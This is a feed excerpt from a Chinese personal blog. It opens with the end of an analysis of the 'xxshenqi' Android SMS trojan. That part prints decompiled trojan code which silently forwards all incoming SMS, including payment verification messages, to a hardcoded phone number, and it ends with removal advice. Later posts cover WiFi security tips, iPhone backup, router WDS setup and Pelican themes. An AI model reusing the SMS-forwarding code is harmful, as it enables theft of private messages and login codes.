  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;indexOf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;#&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str5&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hashCode&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;label188&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;木马不认识的命令========================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;abortBroadcast&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
      &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;木马Sleep(1000)==============================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000L&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
          &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;木马killProcess==============================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
          &lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;killProcess&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;myPid&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;localInterruptedException&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;localInterruptedException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1449143887&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;973199489&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;3556498&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;579867225&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;1248164738&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;功能似乎写了，但是看不到case情况，不了解。安装这个顺序应该默认都执行defult，好奇怪。&lt;/p&gt;
&lt;p&gt;发现是类似淘宝信息就发送给作者：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;木马觉得淘宝信息==============================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;str4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;【特殊消息】&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;localSmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;localSmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;不过仅仅是以手机号长度不是11位就判定。。应该是获取所有非手机号的短信，比如各种106开头的短信。&lt;/p&gt;
&lt;p&gt;关键是，即使是普通短信也要发送给作者：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;      &lt;span class="n"&gt;localSmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;木马觉得是普通信息==============================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;localSmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;From:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;;content:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;所以网上有人说是监控他女朋友的也是有可能的。。。&lt;/p&gt;
&lt;h1&gt;写在最后&lt;/h1&gt;
&lt;p&gt;整个代码分析下来发现没什么亮点，无非就是后台偷偷摸摸做一些事情，然后把你的短信都发到他那里去。。。说好听点就是监控木马。&lt;/p&gt;
&lt;p&gt;作者估计只是玩一下，用了自己的手机号，以及自己的QQ和QQ邮箱，还留下了密码。怪不得很多人说登录了作者的其他账户游玩了-。-&lt;/p&gt;
&lt;p&gt;估计8.2那天作者的手机短信收到爆满吧。。。邮件的话应该很多人去围观邮箱作者改密码了所以应该都发送失败（这好歹是个有技术含量的点）&lt;/p&gt;
&lt;p&gt;清理木马只要把xxshenqi和trogoogle卸载就好。&lt;/p&gt;
&lt;p&gt;最后吐槽一下“良心媒体”的大肆宣传和各大厂商的软文，简直看不下去了。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;作者可能真是没有恶意，不过看上去好像已经悲剧了。&lt;/em&gt;&lt;/p&gt;</content><category term="Android"></category><category term="Security"></category></entry><entry><title>【2014年7月31日】纯日常</title><link href="https://blog.chenjia.me/articles/140801-010300.html" rel="alternate"></link><published>2014-08-01T01:03:00+08:00</published><updated>2014-08-01T01:03:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-08-01:/articles/140801-010300.html</id><summary type="html">&lt;p&gt;【2014年7月31日】纯日常&lt;/p&gt;</summary><content type="html">&lt;h1&gt;福州麻将&lt;/h1&gt;
&lt;p&gt;果然没打钱就各种随意~不用计算不用记忆~&lt;/p&gt;
&lt;p&gt;0.0然后赢了好多~&lt;/p&gt;
&lt;p&gt;不过~为什么一提到money就输呢~&lt;/p&gt;
&lt;p&gt;一定是我的大脑太理性了&lt;/p&gt;
&lt;h1&gt;掼蛋&lt;/h1&gt;
&lt;p&gt;呀竟然在连江打起来掼蛋，还好在南京学了一下~&lt;/p&gt;
&lt;p&gt;南大的同学很碉堡呀~&lt;/p&gt;
&lt;p&gt;最后~还是赢了~&lt;/p&gt;
&lt;p&gt;不过为什么我们打牌这么容易抗供、、真不科学&lt;/p&gt;
&lt;h1&gt;0.0&lt;/h1&gt;
&lt;p&gt;-。-呀，我也不知道要说什么了。。。&lt;/p&gt;
&lt;p&gt;哼我的道德还是很好的！&lt;/p&gt;
&lt;p&gt;三观很正常！！！&lt;/p&gt;</content><category term="July"></category></entry><entry><title>【2014年7月30日】关于WiFi 安全的一些提示</title><link href="https://blog.chenjia.me/articles/140731-000100.html" rel="alternate"></link><published>2014-07-31T00:01:00+08:00</published><updated>2014-07-31T00:01:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-07-31:/articles/140731-000100.html</id><summary type="html">&lt;p&gt;如何通过钓鱼Wifi来窃取你的信用卡，Android市场下载的东西都是安全的么？&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Wifi安全&lt;/h1&gt;
&lt;p&gt;现在大家基本都是用智能手机了，在大陆，流量永远是个坑，所以大家现在都养成一个习惯，到一个地方就开始寻找Wifi然后Join it。&lt;/p&gt;
&lt;p&gt;这样安全么？&lt;/p&gt;
&lt;p&gt;安全是个相对的话题，如果你认为我的信息毫无价值，我也木有钱，那你就觉得安全不重要，相反另外一些人就比较看重了。&lt;/p&gt;
&lt;h2&gt;Wifi的入侵有哪几种？&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;虚假WiFi&lt;/li&gt;
&lt;li&gt;无线路由器被修改（路由表，DNS，注入js等）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;哪些信息会被获取&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;你手机的IMEI等基本信息&lt;/li&gt;
&lt;li&gt;基于你使用的应用数据&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;具体的危害在哪里&lt;/h2&gt;
&lt;p&gt;一些可能出现但不一定出现在你身上，技术上都没有问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你的QQ号，微博，微信账号，百度账号等被获取&lt;/li&gt;
&lt;li&gt;百度账号被盗取，所有的百度服务信息都可以被获取（包括百度云上的所有数据）&lt;/li&gt;
&lt;li&gt;网银信息，支付宝信息（虽然APP端基本都加密过，但是我们可以直接修改他们的数据提交路径，抑或在返回的淘宝，网银网页数据中加入我们的XSS攻击脚本，抑或，直接用我们的钓鱼网页给你让你自愿的输入密码）&lt;/li&gt;
&lt;li&gt;你使用APP的数据，一些比较隐私的数据（比如你刚好再注册某个东西要你填写个人信息）&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;不是危言耸听，以上大部分内容我都试验过0.0而且Hack 路由器网络上已经是大把大把的教程了&lt;/p&gt;
&lt;h2&gt;那我们应该如何防范呢&lt;/h2&gt;
&lt;p&gt;免费Wifi谁都想用，但是使用要适度。&lt;/p&gt;
&lt;p&gt;在使用free wifi的时候如果出现要使用网银，支付宝等情况请切换到数据流量上来，这样就安全了很多。&lt;/p&gt;
&lt;p&gt;还有，不要打开百度的APP，这是忠告。&lt;/p&gt;
&lt;p&gt;还有别指望各种云盘是安全的，你的照片很可能莫名其妙的就被泄露了。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;还有人说数据流量也有伪基站呀，没事我来和你说说，&lt;/p&gt;
&lt;p&gt;现在GSM，也就是平时我们说的2G网络，通话，短信都可以被监听。
短信的话只要25块钱就可以主动的去接收某个范围内的短信了~然后You can do everything.&lt;/p&gt;
&lt;p&gt;如果你到了某个地方，突然手机的edge，3g，4g的上网数据消失了，然后突然收到广告短信，说明你已经进入了伪基站的范围，快逃离吧。
也可以手动切换运营商~&lt;/p&gt;
&lt;p&gt;不过现在据说4g换卡添加了通讯安全验证，不过为了兼容应该还是A3或者A5的验证吧，太脆弱了。&lt;/p&gt;
&lt;p&gt;END&lt;/p&gt;</content><category term="July"></category><category term="Security"></category></entry><entry><title>【2014年7月29日】iPhone越狱，备份，升级，刷机的一些Tips</title><link href="https://blog.chenjia.me/articles/140730-004200.html" rel="alternate"></link><published>2014-07-30T00:42:00+08:00</published><updated>2014-07-30T00:43:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-07-30:/articles/140730-004200.html</id><summary type="html">&lt;p&gt;iPHone,iPad,iTouch等设备升级，越狱后升级的一下提示&lt;/p&gt;</summary><content type="html">&lt;h1&gt;iPhone是个好手机&lt;/h1&gt;
&lt;p&gt;Po主虽然是Android开发者，但是是忠实的果粉。&lt;/p&gt;
&lt;p&gt;其实我就是喜欢TA的屏幕，他的Sandbox。&lt;/p&gt;
&lt;p&gt;其实我是忠实Jailbreak.&lt;/p&gt;
&lt;h1&gt;iPhone手机应该如何备份&lt;/h1&gt;
&lt;p&gt;itunes难用很多人都觉得，至少我是不会去教一个大人如何去使用itunes，而且我认为大部分人在用itunes同步的时候会把手机的应用同步没吧~&lt;/p&gt;
&lt;p&gt;所以我们应该如何备份我们的数据呢~&lt;/p&gt;
&lt;p&gt;将手机连接itunes，在itunes中找到自己的手机，然后点击备份，只要点击备份就好了~然后他就会默默的开始备份。（这里要强调一定要备份应用。。。）&lt;/p&gt;
&lt;p&gt;备份好的时候我们还是要等待应用传输结束，直到itunes中上方里面木有进度条为止，一次完整的备份成功了。&lt;/p&gt;
&lt;p&gt;通过itunes备份的数据有哪些呢？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;手机的设置&lt;/li&gt;
&lt;li&gt;手机的通讯录，短信，备忘录，书签等基本数据（如果开启了icloud的话就不会被备份到电脑上）&lt;/li&gt;
&lt;li&gt;照片&lt;/li&gt;
&lt;li&gt;应用程序和优化过的程序文档（这里要重点说明，不是所有的程序文档都会被保存，比如qq的信息就全部miss了，而大部分的游戏等存档都在，怀疑qq的文档是以tmp类型的文件存放。）&lt;/li&gt;
&lt;li&gt;歌曲铃声只有在你同步到iTunes中才会保存&lt;/li&gt;
&lt;li&gt;越狱的设置文件很多都会被保存。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;越狱的手机如何正确升级呢？&lt;/h1&gt;
&lt;p&gt;越狱的手机是不可以通过OTA升级或者直接在itunes升级以及恢复抹掉数据，这些操作都会导致白苹果，造成数据的不可逆的丢失，以及手机开不了机。&lt;/p&gt;
&lt;p&gt;正确的升级方式应该是-&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用itunes备份手机数据，拷贝铃声和音乐，通过itools等第三方程序备份应用及其文档，备份照片和联系人等数据&lt;/li&gt;
&lt;li&gt;下载对应的固件ipsw&lt;/li&gt;
&lt;li&gt;在itunes中按住shift键然后点击恢复选择固件刷入&lt;/li&gt;
&lt;li&gt;恢复备份数据&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;一些关于itunes级刷机的问题&lt;/h1&gt;
&lt;h2&gt;iPHone升级或者恢复固件失败或者其他原因进入恢复模式的问题解决&lt;/h2&gt;
&lt;p&gt;手机莫名进入恢复模式，刷机4013错误进入无限恢复模式，等的可以尝试使用&lt;code&gt;爱思助手中的高级玩家模式中的退出恢复模式&lt;/code&gt;进行尝试，大部分情况下是可以恢复到正常，少数情况失败的那就只能刷机了。&lt;/p&gt;
&lt;h2&gt;itunes备份占用过多C盘空间的解决方案&lt;/h2&gt;
&lt;p&gt;本方案适合windows 7及以上操作系统（正在测试中）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;事前请先确认iTunes已经关闭&lt;/li&gt;
&lt;li&gt;把C:\Users\您的用户名\Music下的iTunes文件夹剪切（不是复制）到D盘的Downloads文件夹里，然后重命名为iTunesSource&lt;/li&gt;
&lt;li&gt;把C:\Users\您的用户名\AppData\Roaming\Apple Computer下的MobileSync文件夹剪切（不是复制）到D盘的Downloads文件夹里，然后重命名为MobileSyncSource&lt;/li&gt;
&lt;li&gt;请确认上述iTunes和MobileSync文件夹在原始路径下已经不存在，并全部转移到D盘了。&lt;/li&gt;
&lt;li&gt;点击开始-&amp;gt; 搜索框里输入cmd-&amp;gt;右键点击cmd选择以管理员模式运行&lt;/li&gt;
&lt;li&gt;执行下列命令。注意：每一行是一条命令，输入完要回车。另外&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果文件路径里面有空格的话，执行mklink命令的时候路径要用双引号引上。&lt;/p&gt;
&lt;p&gt;执行以下命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;cd C:\Users\您的用户名\Music

mklink /d iTunes d:\Downloads\iTunesSource

cd C:\Users\您的用户名\AppData\Roaming\Apple Computer

mklink /d MobileSync d:\Downloads\MobileSyncSource
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;执行上述命令后，你可以看到&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;symbolic link created for iTunes &amp;amp;lt;&amp;amp;lt;===&amp;amp;gt;&amp;amp;gt; d:\Downloads\iTunesSource
和
symbolic link created for MobileSync &amp;amp;lt;&amp;amp;lt;===&amp;amp;gt;&amp;amp;gt; d:\Downloads\MobileSyncSource
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后，请确认
&lt;code&gt;C:\Users\您的用户名\Music&lt;/code&gt;下存在iTunes
&lt;code&gt;C:\Users\您的用户名\AppData\Roaming\Apple Computer&lt;/code&gt;下存在MobileSync&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动itunes，看看是不是数据都还在！&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</content><category term="July"></category><category term="iOS"></category></entry><entry><title>【2014年7月28日】关于TP-link和Netcore路由器的WDS连接</title><link href="https://blog.chenjia.me/articles/140729-005100.html" rel="alternate"></link><published>2014-07-29T00:51:00+08:00</published><updated>2014-07-29T00:52:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-07-29:/articles/140729-005100.html</id><summary type="html">&lt;p&gt;无线路由器的WDS连接&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;准备开始每日一个日记&lt;/p&gt;
&lt;p&gt;2014年7月28日&lt;/p&gt;
&lt;p&gt;无线路由器WDS配置&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;如何让家里走到哪里都有无线&lt;/h1&gt;
&lt;p&gt;问题很简单，买很多的无线路由器。&lt;/p&gt;
&lt;h2&gt;可是，我只有一根网线呀&lt;/h2&gt;
&lt;p&gt;好的~下面开始进入教学环节，如果让两个无线路由器通过无线连接上网~&lt;/p&gt;
&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;想一下你在学校的时候，在无线覆盖区域（比如图书馆），是不是只是连接一个无线，走到哪里都可以上网。&lt;/p&gt;
&lt;p&gt;那个无线真的信号可以覆盖那么广么？明显不可以。那么是怎么实现的呢？我们又如何在家中享受这种便利呢？&lt;/p&gt;
&lt;h2&gt;材料&lt;/h2&gt;
&lt;p&gt;准备两个无线路由器，至少有一个支持WDS功能，还有一个能上网的网线。&lt;/p&gt;
&lt;h1&gt;配置路由器&lt;/h1&gt;
&lt;p&gt;【PO主家有两个路由器，路由器A设定为NETCORE磊科路由器NW737，路由器B为TP-LINK的路由器，两个都支持WDS】&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;路由器A通过宽带上网（这是必须的）&lt;/li&gt;
&lt;li&gt;路由器A更改无线设置，选择一个好听的SSID，然后用WPA2加密，固定信道（记住他就好，这里选择10）&lt;/li&gt;
&lt;li&gt;开始路由器A的DHCP功能，记录网关，例如192.168.1.1的话，DHCP分配的ip应该在192.168.1.3开始，因为.2的ip要给我们路由器B&lt;/li&gt;
&lt;li&gt;用无线设备连接，看看可不可以上网。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li&gt;路由器B更改ssid和路由器A一样，信道和A一样，密码和A一样，然后在路由器B中的WDS添加路由器A的无线SSID，密码，MAC等信息&lt;/li&gt;
&lt;li&gt;关闭路由器B的DHCP功能&lt;/li&gt;
&lt;li&gt;修改路由器B的管理IP为192.168.1.2，也就是上面预留的那个ip&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;NetCore 路由器比较麻烦，这时候两个路由器已经连接，但是不可以上网，我们需要进入路由器A中，在WDS中添加路由器B的SSID和MAC&lt;/p&gt;
&lt;p&gt;&lt;img alt="netcore路由器WDS设置图" src="https://i.imgur.com/2qjyUWG.png"&gt;&lt;/p&gt;
&lt;p&gt;然后这时候我们重启两个路由器~&lt;/p&gt;
&lt;p&gt;大功告成！&lt;/p&gt;
&lt;p&gt;现在手机客户端就会根据TA本身的原则来自由的选择Wifi，一般是自动选择信号强的 ~&lt;/p&gt;
&lt;p&gt;END。&lt;/p&gt;</content><category term="July"></category><category term="Route"></category><category term="Maintain"></category></entry><entry><title>Pelican 的进阶-添加主题，插件</title><link href="https://blog.chenjia.me/articles/140727-000300.html" rel="alternate"></link><published>2014-07-27T00:03:00+08:00</published><updated>2014-07-27T00:03:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-07-27:/articles/140727-000300.html</id><summary type="html">&lt;p&gt;为自己的Pelican Blog添加主题和插件！&lt;/p&gt;</summary><content type="html">&lt;h1&gt;添加主题&lt;/h1&gt;
&lt;h2&gt;下载主题&lt;/h2&gt;
&lt;p&gt;在Blog目录下~打开GIT。
输入，&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git clone https://github.com/getpelican/pelican-themes.git
cd pelican-themes
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后你就会发现多了一个pelican-themes的文件夹~里面就都是主题啦~&lt;/p&gt;
&lt;p&gt;里面的每个文件夹都是一个主题，很多都是空的o(╯□╰)o&lt;/p&gt;
